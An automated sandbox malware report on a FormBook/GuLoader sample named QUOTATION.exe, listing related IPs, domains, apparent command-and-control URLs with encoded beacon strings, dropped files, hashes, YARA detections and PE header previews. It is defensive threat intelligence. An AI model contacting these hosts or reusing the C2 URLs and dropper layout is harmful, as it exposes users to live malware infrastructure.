Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	830630
Start date and time:	2023-03-20 15:14:59 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 17m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	QUOTATION.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@7/11@19/15
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 11.1% (good quality ratio 10.6%) Quality average: 80.9% Quality standard deviation: 26.8%
HCA Information:	Successful, ratio: 84% Number of executed functions: 69 Number of non-executed functions: 284
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, UserOOBEBroker.exe, RuntimeBroker.exe, ShellExperienceHost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, login.live.com, tile-service.weather.microsoft.com, wdcp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.184.0.24	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.b-tek.media/d91r/?z4=A3xSHk+fyI7su/grjjiR7vS7+2q1W7vJyDCiqNYDPcjU2Prp7aaot61k+Logkh61BwiUEQE66B2EoDKGsTYBbPn+5VOUdQAbGQ==&6SE=F8zFuLn
45.194.145.38	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.buymyenergy.com/d91r/?z4=mm2yDWovojsq98EVpVvEejLaRDawKnKNjB2g4hWos3CUrPXkYcC/p+nLjVs5nQU/dkGDVZ/wRxzIeHsnSgbyBomSUgQTl++E/Q==&6SE=F8zFuLn
	DHL_Notification_pdf.exe	Get hash	malicious	FormBook	Browse	www.buymyenergy.com/hpb7/?36Roxu=lW7C+k+iIZsy7g1WGBJG7M4MDBlyA5U/Cxn5NMVBscvlESB/d9AECeUqjyFzq1DCzLlsd6yqFPaooxQX+mPauBSJS/FyWWVKQQ==&aJ=FMU3rSqU
	gjvkyygg.exe	Get hash	malicious	FormBook	Browse	www.buymyenergy.com/hpb7/?Ns=lW7C+k+iIZsy7g1WE0xD6M00JhZSQso/Cxn5NMVBscvlESB/d9AECeYqjyFzq1DCzLlsd6yqFPaooxQX+mPNuA2IT6B7WWQcRQ==&xwND=_V84H
199.192.26.35	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.dexmart.xyz/d91r/?z4=mny6VZKrhd/9NKVuKuT/s/SGWqKgSQU06gLLPmpyieItdUR08ut5ldoEEciwTOIy3aXJmehMaME22hMIN/PsdP4yT3Vly6kaHw==&6SE=F8zFuLn
	Ziraat-bankasi=SwiftMessaji00023122022.exe	Get hash	malicious	FormBook	Browse	www.hostmart.site/pv6u/?cL0PtXfX=pg/tiHW2YwX284NZy3VXl7aTQyaJ0kQpw8+tlYRtV4o2gbUHhvMv7iRDyBSK132F0kI1oJ0FUGtjsKFOAOgWr1XpiU28ku3u+A==&I2M=x8ptAxG0GlXpe
	Ziraat-bankasi.....SwiftMessaji00021122022.exe	Get hash	malicious	FormBook	Browse	www.hostmart.site/pv6u/?u6A=pg/tiHW2YwX284NZy3VXl7aTQyaJ0kQpw8+tlYRtV4o2gbUHhvMv7iRDyBSK132F0kI1oJ0FUGtjsKFOAOgWr1XpiU28ku3u+A==&2dcH=CDK8Qt_0AVS
	Updated_Service_Policy.exe	Get hash	malicious	Unknown	Browse	www.foodmarty.online/mw5p/?0VYX=2duD_Fg8&D480k=klQ6rQmZtl3ohb7Pfiz68QDAuoI3JgaLMANaSEjocVvzZsBRZhhgGP5JhAYWCBqARRFHfT+y4AJpFfOSQBbWrqqeZIH5PjKomw==
	Request for Quotation.exe	Get hash	malicious	Unknown	Browse	www.gdomarketing.xyz/q8sm/?qHndnlFx=9+J46X7Hhr3djfp0JM21BGiXuqCiVEcGJD6l39gLYjM9GfmNqOz7uXgwKscgk8QKyLtxqCTij+Orq0ntZE3kVJXomEdnIPBacg==&z6Dxe=e0DxdT
	Doc021284.exe	Get hash	malicious	Unknown	Browse	www.gdomarketing.xyz/q8sm/?nP084J=9+J46X7Hhr3djfp0JM21BGiXuqCiVEcGJD6l39gLYjM9GfmNqOz7uXgwKscgk8QKyLtxqCTij+Orq0ntZE3kVJXomEdnIPBacg==&hVwl9F=4hkp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
td-ccm-168-233.wixdns.net	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.117.168.233
	DHLINV000156.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.117.168.233
	Hbi8WUpShm.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	DHLIN00178.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.117.168.233
	BS_Orden_de_Pago_20230315-1000_0000015444552000_001888.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	#U00f6deme_formu_0001.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	prueba de transferencia de pago 20230315-1000_0000015444552_001888.bz2	Get hash	malicious	FormBook	Browse	34.117.168.233
	http://www.gerardosmarketplace.com	Get hash	malicious	Unknown	Browse	34.117.168.233
	3QsGFmVse3.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	CRD_NT_INV-2306020237.vbs	Get hash	malicious	FormBook	Browse	34.117.168.233
	Recibo de transferencia BPI Net empresas EU3350015032023.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	X6yu1q9YBY.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	RUS3109Y51.exe	Get hash	malicious	AveMaria, FormBook, UACMe	Browse	34.117.168.233
	dhl_shipping_papers.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
	rCL-PLCOPY.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.117.168.233
	r5573XLX_Confirming_685738_Permiso.vbs	Get hash	malicious	FormBook	Browse	34.117.168.233
	fJXbhkbAh4.exe	Get hash	malicious	FormBook, GuLoader	Browse	34.117.168.233
	SKMB_2023003.xlsx	Get hash	malicious	FormBook	Browse	34.117.168.233
	php.ini	Get hash	malicious	Unknown	Browse	34.117.168.233
	rPO.UPPLRQ22301-005.exe	Get hash	malicious	FormBook	Browse	34.117.168.233
www.buymyenergy.com	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	45.194.145.38
	PUqT3VrH7u.exe	Get hash	malicious	FormBook	Browse	45.194.145.38
	DHL_Notification_pdf.exe	Get hash	malicious	FormBook	Browse	45.194.145.38
	gjvkyygg.exe	Get hash	malicious	FormBook	Browse	45.194.145.38
	jkjn.exe	Get hash	malicious	FormBook	Browse	45.194.145.38
www.cardinialethanol.com	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	198.58.118.167

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTNETNL	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.184.0.24
	php.ini	Get hash	malicious	Unknown	Browse	91.184.0.100
	713290575.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	BNK0002334269532_USD28,770.00.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	BNK0002334789532_USD28,770.00.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	hrqdeaixql.exe	Get hash	malicious	Unknown	Browse	91.184.0.82
	pYQiXvpjQQ.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	http://fhc-formulebeheer.nl	Get hash	malicious	Unknown	Browse	185.85.17.42
	https://indd.adobe.com/view/7a5b9501-992d-418e-9d6a-90d1ebcd7570	Get hash	malicious	HTMLPhisher	Browse	37.128.148.176
	Feoml1f5Wl.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.184.0.100
	Strandpiberen.exe	Get hash	malicious	FormBook, GuLoader	Browse	91.184.0.100
	yeMY86PSvK.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	2fqmV0En4l.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	obizx.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	SC-4557175394.doc	Get hash	malicious	FormBook	Browse	91.184.0.100
	obizx.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	Specifications & Xrawings_newpdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	91.184.0.100
	obizx.exe	Get hash	malicious	FormBook	Browse	91.184.0.100
	DHL DISPATCH FORM.doc	Get hash	malicious	FormBook	Browse	91.184.0.100
	PAYMENT ADVICE ERROR.doc	Get hash	malicious	FormBook, PlayCrypt	Browse	91.184.0.100
DXTL-HKDXTLTseungKwanOServiceHK	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	154.215.156.6
	bok.arm4.elf	Get hash	malicious	Mirai	Browse	154.207.139.93
	bok.arm7.elf	Get hash	malicious	Mirai	Browse	154.218.87.84
	bok.mpsl.elf	Get hash	malicious	Mirai	Browse	154.215.132.174
	bok.mips.elf	Get hash	malicious	Mirai	Browse	154.208.98.234
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	45.203.110.200
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	154.214.153.25
	00yK2P5hKs.elf	Get hash	malicious	Mirai	Browse	156.235.142.131
	Jn8QT7Bh2I.elf	Get hash	malicious	Mirai	Browse	154.88.10.135
	Gh6mFKMRMK.elf	Get hash	malicious	Mirai	Browse	154.215.184.91
	z2H8jaZbYg.elf	Get hash	malicious	Mirai, Moobot	Browse	154.84.81.44
	BFgg8MBpvo.elf	Get hash	malicious	Mirai	Browse	156.235.205.87
	l3W3iaBi23.elf	Get hash	malicious	Mirai	Browse	154.80.147.175
	8pprGUKs46.elf	Get hash	malicious	Mirai	Browse	156.235.189.128
	yR6TVwIRkD.elf	Get hash	malicious	Mirai	Browse	45.193.98.109
	8ExXjPtCS8.exe	Get hash	malicious	FormBook	Browse	156.232.220.169
	bok.x86-20230317-0024.elf	Get hash	malicious	Mirai	Browse	154.214.177.54
	bok.mips-20230317-0024.elf	Get hash	malicious	Mirai	Browse	156.235.142.138
	bok.arm5-20230317-0024.elf	Get hash	malicious	Mirai	Browse	154.85.232.199
	bok.arm4-20230317-0024.elf	Get hash	malicious	Mirai	Browse	154.215.132.179

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	162.240.73.101
	Solicitud de presupuesto.exe	Get hash	malicious	GuLoader	Browse	162.240.73.101
	Office-AddInHelper.exe	Get hash	malicious	Amadey	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, Fabookie, RHADAMANTHYS, SmokeLoader	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	162.240.73.101
	Doc_2832233887.335561.17564.lNk.lnk	Get hash	malicious	Unknown	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Djvu	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RHADAMANTHYS, RedLine, SmokeLoader, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, RedLine, SmokeLoader, Vidar	Browse	162.240.73.101
	setup.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader, Vidar	Browse	162.240.73.101
	rAEAT-AvisodeNotificaci__n.exe	Get hash	malicious	GuLoader	Browse	162.240.73.101

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Alswith\Peroxidisement\Foresprges87\SolutionExplorerCLI.dll	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Quotation.exe	Get hash	malicious	GuLoader	Browse
	DHLINV000156.exe	Get hash	malicious	FormBook, GuLoader	Browse
	DHLINV000156.exe	Get hash	malicious	GuLoader	Browse
	DHLIN00178.exe	Get hash	malicious	FormBook, GuLoader	Browse
	DHLIN00178.exe	Get hash	malicious	GuLoader	Browse
	EXFZCd3tg9.exe	Get hash	malicious	FormBook, GuLoader	Browse
	EXFZCd3tg9.exe	Get hash	malicious	GuLoader	Browse
	Company Profile.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Company Profile.exe	Get hash	malicious	GuLoader	Browse
	Company Profile.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Company Profile.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Alswith\Peroxidisement\Foresprges87\SolutionExplorerCLI.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	75248
Entropy (8bit):	6.149004775364808
Encrypted:	false
SSDEEP:	1536:GmY7dQU8l75gS4SqQR27YZW1cwvbTxUd6Rw:GmacliS49QR27YZW1vn2dWw
MD5:	3A03B61FA01DCDFF3E595D279F159D6E
SHA1:	94900C28C23AD01D311C389A0813277CFB30345C
SHA-256:	4F4D6511BEC955B4E8A30371ED743EA5EBC87CEB0BF93FE21F0A378AA2C05A01
SHA-512:	0D04D3486911DFE0439449554E90FB68B4D85EEE025A9B89910C306DE33CBFDBBEF1ABCAC5D4CD3B3CC1B1F445B7C67DC341C9363C9B127810ABD0498EC94AC4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Quotation.exe, Detection: malicious, Browse Filename: Quotation.exe, Detection: malicious, Browse Filename: DHLINV000156.exe, Detection: malicious, Browse Filename: DHLINV000156.exe, Detection: malicious, Browse Filename: DHLIN00178.exe, Detection: malicious, Browse Filename: DHLIN00178.exe, Detection: malicious, Browse Filename: EXFZCd3tg9.exe, Detection: malicious, Browse Filename: EXFZCd3tg9.exe, Detection: malicious, Browse Filename: Company Profile.exe, Detection: malicious, Browse Filename: Company Profile.exe, Detection: malicious, Browse Filename: Company Profile.exe, Detection: malicious, Browse Filename: Company Profile.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........T..:..:..:....:.....:..;..:..]..:..]...:..]..:..]...:..u...:..u..:....:..u...:.Rich.:.........PE..L...w..U...........!.....:..........dG.......P...............................@.......p....@.................................<...P.... .......................0.......P..8............................R..@............P..............(Q..H............text...!8.......:.................. ..`.rdata......P.......>..............@..@.data...............................@....rsrc........ ......................@..@.reloc.. ....0......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Industrialization\Snoldets\Embrocates\Utaalmodiges.Taa169

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	data
Category:	dropped
Size (bytes):	254328
Entropy (8bit):	7.284609523209945
Encrypted:	false
SSDEEP:	3072:PRs7lL/hhpwtoHPCrwXE/Y5aBMCYDjTQXB3EZ+FhS2LYga8KB9JIopauAxqOp2xP:eh4tsCrJxMvDj8X8+FYxP3pnUqLdN
MD5:	F4CC23ED0D3896E2B178E6A55C40AA4E
SHA1:	370ACD45CAAE23C832BD48E3CC3D56C1107E3A51
SHA-256:	F70AA179CC5D44B7605AC33C35BA47DC32A5DA0EFE494AB7C5CF132AEF6ACA0C
SHA-512:	F920BB342EF61E0EC18B4C9A698821606E41B8D31A423A3B196C7ED5E804BCAE4825C0E142DB6AF1611D01C75F8B7D0D780C7A2FAC4FB4533C70FD9395E1B810
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Industrialization\Snoldets\Embrocates\Utaalmodiges.Taa169, Author: Joe Security
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\libpkcs11-helper-1.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	130344
Entropy (8bit):	6.2622011397185
Encrypted:	false
SSDEEP:	3072:tKInqqVjbm+1Vi5R6QQU7k1TAH1OobTrWHEE+jFpCOx:tVzjvi5R6QQU7k1TAH1OobTrWHExFpdx
MD5:	2455841538BA8A502398C18781CC3CEB
SHA1:	86CFD513FEE46EBC2C35225B27372679BE6ADA91
SHA-256:	F37BE7BD8C46D58CA931810536C8A2BEC36D06FF3281740FE0AD177F022AC781
SHA-512:	BC1DCDDE074150616DED7EAACC3FC44BDD2487EB5E550172F5EA46432AA76F19443A9FD6CEF61577B7803C1B083FFCBCEAF9ADC3114A97B547A78C2654F757E3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................&"....."....................\d.............................P......z.....`... .................................................X....0..................x....@.............................. ..(.......................P............................text...8!......."..................`.P`.data........@.......&..............@.`..rdata...^...P...`...(..............@.`@.pdata..............................@.0@.xdata..............................@.0@.bss..................................`..edata..............................@.0@.idata..X...........................@.0..CRT....X...........................@.@..tls....h.... ......................@.`..rsrc........0......................@.0..reloc.......@......................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\maintenanceservice2.exe

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	227256
Entropy (8bit):	6.388677533277947
Encrypted:	false
SSDEEP:	6144:ue/rKQgYva3o4vj272BNvIJuQlf2qIHL2:uYrK4a3PvKw7ufg2
MD5:	49A2E97304EF8E044EEBD7ACCAD37E11
SHA1:	7D0F26591C8BD4CAB1718E323B65706CBEA5DE7A
SHA-256:	83EAFBF165642C563CD468D12BC85E3A9BAEDE084E5B18F99466E071149FD15F
SHA-512:	AC206C5EF6F373A0005902D09110A95A7F5FB4F524653D30C3A65182717272FE244694A6698D40884BEA243B2CA00D7741CED796DF7AE8C633F513B8C6FCD6C8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...J..b.........."......:.....................@....................................Y.....`..................................................................`..h....X..........................................(....P..............(...h............................text....9.......:.................. ..`.rdata.......P.......>..............@..@.data....!...0......................@....pdata..h....`.......*..............@..@.00cfg...............D..............@..@.tls.................F..............@....rsrc................H..............@..@.reloc...............P..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\Wept\percentile.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	102577
Entropy (8bit):	5.075179901575448
Encrypted:	false
SSDEEP:	768:t9H5uXFjJeEoPsznZgkZNhFdS2E0fVnSdNPfZ5+uKIu7aQzTgp37CtHRMX6NX0:tJ5wJeEoU9g0Nhav09nahfYxDRx0
MD5:	3144FDFEC817D0AC6FE3F4642B70328B
SHA1:	756C3513DC10CF00B517C72B2D3AB3E20895A46C
SHA-256:	BF17F5B38DCF35B55B1E0FAD462D4095ABAAA4CD8F1EDBDC8657C0249EF5D4D3
SHA-512:	012D9A3B88BA5D5090E8B47B49FE50E518489AB05FAAC6A1A0743F29A369B7D67F39B8E113B34740607137F2D67D75116DBE2A76E8E1DBE699BA4973F8037684
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...rL.`.<........& ...$.....6......P................................................U....`... .........................................Y....................P..................`............................A..(....................................................text...............................`.P`.data...p....0....... ..............@.P..rdata..p....@......."..............@.`@.pdata.......P.......*..............@.0@.xdata..l....`......................@.0@.bss.........p........................`..edata..Y............0..............@.0@.idata...............2..............@.0..CRT....X............6..............@.@..tls.................8..............@.@..reloc..`............:..............@.0B/4...................<..............@.PB/19.....C............@..............@..B/31..........`......................@..B/45.............. ..................@..B/57.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\Dampning.Dub

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	74176
Entropy (8bit):	2.6722266832319854
Encrypted:	false
SSDEEP:	1536:NKBIx/TbxyxbZ3K4FBS/PqiqRqxmyFJcEXxedrfEf6v3Zm2:YrEXgd6u
MD5:	992929F1D7A90F5CE4FCCD117E1A7DBE
SHA1:	44CCBD5EBFE22ACECEFBF0CF381F99CD6015943B
SHA-256:	BBA853900D50A7D6952063FAD68F534B5CB97B336B1B129F2F0717669BCF309A
SHA-512:	15062430326D4964BFD07129146BADC839D253D20401F7D872BFB39A5D903C31BCF0ACEFCF3F960ADF228084CB3EC8415D5375FC8CF8B7DEB0678FCF9E44A92C
Malicious:	false
Preview:	0000EFEF002E00000000C5C500D0D0005300A50063005F5F5F5F5F0000A800B2B200F4F400002A2A2A2A2A00282828000000A2A2009B00005B5B5B5B5B007E000200002900006060600000004C002E2E00BDBDBDBD0000A500D8000000D400009797008C8C8C8C8C0000BBBBBB005050000000000000006E0043000000DFDF0000000000004C00740000B10056565656565600006900AAAA002E2E0000E5E50000005700000000D80000000007070000F00000000000D800EE000000000000002929000000008E8E0000BDBD00BEBEBE003400008B00000000001F000000000000003535002828007D7D7D7D009A9A9A9A9A000000DD000000CE0000F3F30043009D9D9D9D00AF0000001E001A000000000000008A8A00D6000000001600D700DB00000000000079797900737373730000D80000F2006C00737300006B6B6B6B00FC003B0000D2D2000015001818001C1C1C0000000000002000D4D400004200002B2B2B000000000000FDFDFDFDFDFD0071000000E000006969000000C3C3008E000000C400292929000000A000F3F3000008080000000900E1E1E1008C8C009494940000000000000000005E00003737000014141400000000000000000000DB00A200A5A50000FC000091000000636363630000C8C8000000F9F9003232000069005F00F0F00000A500393900666600000000

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.Security.Cryptography.X509Certificates.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	485488
Entropy (8bit):	6.710350474742332
Encrypted:	false
SSDEEP:	6144:1E5AW+0VyAaOKxFf8r6S2rGjF0KAmdHCKsCZcufvh7OzxQxQ5JVIRVrk:KGWlaOKC2a0tmFChCOFeqLIRpk
MD5:	84D7B1FB924AEEFCF4A2C7A687FE2EF1
SHA1:	A2C2C7DE9096328A3FEF0C7FCEA262A294C0807B
SHA-256:	32A54C24B18B3C087E06F4F19885FB410304AB4AF2263154020D3F5CDCE36D99
SHA-512:	E75F91DA415B15CA0B19519179021FD88C0FC68FE4EF2A68B899B121BD511C04AECCB58101318C86CB0458D7310208C358DBB9155A02D62DE73C04128ECC5934
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....fW..........." .........................................................`............`...@......@............... ...........................................1...D..p$...P.......0..T...............................................................H............text.............................. ..`.data...wy.......z..................@....reloc.......P.......:..............@..B............................................0...........................T.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...................y.........?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0.....d...C.o.m.m.e.n.t.s...I.n.t.e.r.n.a.l. .i.m.p.l.e.m.e.n.t.a.t.i.o.n. .p.a.c.k.a.g.e. .n.o.t. .m.e.a.n.t. .f.o.r. .d.i.r.e.c.t. .c.o.n.s.u.m.p.t.i.o.n... .P.l.e.a.s.e. .d.o. .n.o.t. .r.e.f.e.r.e.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	49768
Entropy (8bit):	5.650496280667822
Encrypted:	false
SSDEEP:	768:4vuoy1c6A2ZX8TRNH5JVbOd502zq1TntV5fljM:4vuoO3ZX8Q5jzC35NjM
MD5:	BCC32F5B608C99F89508921B6333B329
SHA1:	5F70BB4A3A812C399D8D2A2954C9A715574CFF61
SHA-256:	5D4FF9A8E3B3CA26F53CD2CC4C557C5F2074A431B9CD029AE7F7A7B8902FA3C1
SHA-512:	99C7623BCA873C75A3B804C815DF178ACC88E043A36473C785216CD26DC73F0525FE336F17F0F2C8CA6473FBD407A953D4650D093C52440D93ECF07C1440FAB6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\System.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... ....................................`.....................................O.......................h$.............T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H.......P ......................`.......................................BSJB............v4.0.30319......l...$;..#~...;...R..#Strings....4.......#US.8.......#GUID...H.......#Blob............T.........3................................/......................=.....=....J=...=......V...}.....h.. ..... ..... ..J.. ..... ..... ..... ..1.. ..j.. .., AF..a.AF.....R..e..=.................;.....;.....;..)..;..1..;..9..;..A..;..I..;..Q..;..Y..;..a..;..i..;..q..;..y..;.....; ....;.....;..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ghetto\hamotzi\libdatrie-1.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	36029
Entropy (8bit):	5.699900454607003
Encrypted:	false
SSDEEP:	768:Hm5z53y6m/LHlM6GnPGUvMrsztd/sLLhF3VI:a53y6Gy6GuU5d/OhF3G
MD5:	8A54723090530190EB11AFCD5B702B1B
SHA1:	DFA923EC796A754BD21C4F9E504305848A4CB1B2
SHA-256:	738F67F45FAA07CC387BAF390604EE4CE709CBE7C223D9A043EE06F7CB360D5B
SHA-512:	E0D310458C8259112E07B153EDC86FDFF29E1B09648FED8D163D44DEB3BEE1545E7AD37BB00E9255DF6514844B21A829750848DA42F85FA77BEF376CE09750CF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...........<.....&".....R..........0..........h.....................................^........ .................................................................................`...............................(....................................................text...HP.......R..................`.P`.data........p.......V..............@.P..rdata...............X..............@.`@.pdata...............b..............@.0@.xdata...............j..............@.0@.bss.... .............................`..edata...............r..............@.0@.idata...............v..............@.0..CRT....X............~..............@.@..tls................................@.@..reloc..`...........................@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4995H5Jfc

Download File

Process:	C:\Windows\SysWOW64\help.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 5, database pages 59, cookie 0x4f, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1305327154874678
Encrypted:	false
SSDEEP:	192:oLt4nKTjebGAUJp/XH9euJDvphC+KRmquPWSTVumQ6:it4nsJp/39RDhw+KRmqu+cVumQ
